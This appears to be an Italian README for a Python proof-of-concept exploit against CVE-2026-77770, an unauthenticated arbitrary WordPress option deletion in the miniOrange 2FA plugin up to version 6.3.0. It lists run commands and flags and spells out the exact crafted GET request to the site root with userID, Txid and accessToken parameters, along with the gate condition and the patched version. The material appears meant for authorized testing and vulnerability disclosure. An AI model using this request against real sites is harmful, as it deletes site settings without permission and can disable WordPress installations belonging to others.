
PoC in Python per CVE-2026-77770, una vulnerabilità di eliminazione arbitraria di opzioni WordPress non autenticata nel plugin miniOrange 2FA (<= 6.3.0) tramite il link di verifica email.
miniOrange 2FA CVE POC
miniOrange 2FA (plugin WordPress miniorange-2-factor-authentication) ≤ 6.3.0 — cancellazione arbitraria non autenticata di opzioni WordPress tramite il link di verifica email (userID / Txid / accessToken).
Solo per test autorizzati. Non eseguire questo strumento contro sistemi di cui non si è proprietari o per cui non si ha il permesso di eseguire test.
Richiede: Python 3, solo libreria standard.
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
| Flag | Cosa fa |
|---|
-u / --url | Radice del sito WordPress (obbligatorio). http:// o https://; un hostname viene provato prima come HTTPS, poi come HTTP. Il TLS self-signed viene ritentato automaticamente |
--test | Ospite: versione del plugin + popup di verifica email |
--delete OPTION | Elimina quella riga di wp_options. blogname è visibile tramite /wp-json/ (BEFORE / AFTER) |
--gate OPTION | Opzione il cui valore memorizzato è 3 (il gate Txid). Ripetibile. Predefinito: wp_page_for_privacy_policy, poi thread_comments_depth |
--insecure | Salta la verifica TLS |
--timeout | Timeout HTTP in secondi (predefinito 30) |
Non autenticato. Il gadget è una GET a /?userID=OPTION&Txid=GATE&accessToken=x. GATE deve attualmente contenere l'intero 3. In caso di mancato rispetto della finestra di 5 minuti, il plugin scrive anche GATE=0.
--test non elimina nulla. --delete blogname è la prova pubblica (il titolo del sito in /wp-json/ diventa vuoto). La 6.3.1 aggiunge prefissi alle chiavi (mo2f_oobe_*) quindi i nomi senza prefisso non vengono eliminati.
Stdout: VERSION, HANDLER, PRESENT, SITENAME, OPTION, BEFORE, AFTER, GATE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, ATTEMPTED.

CVE: CVE-2026-77770. Changelog del plugin 6.3.1.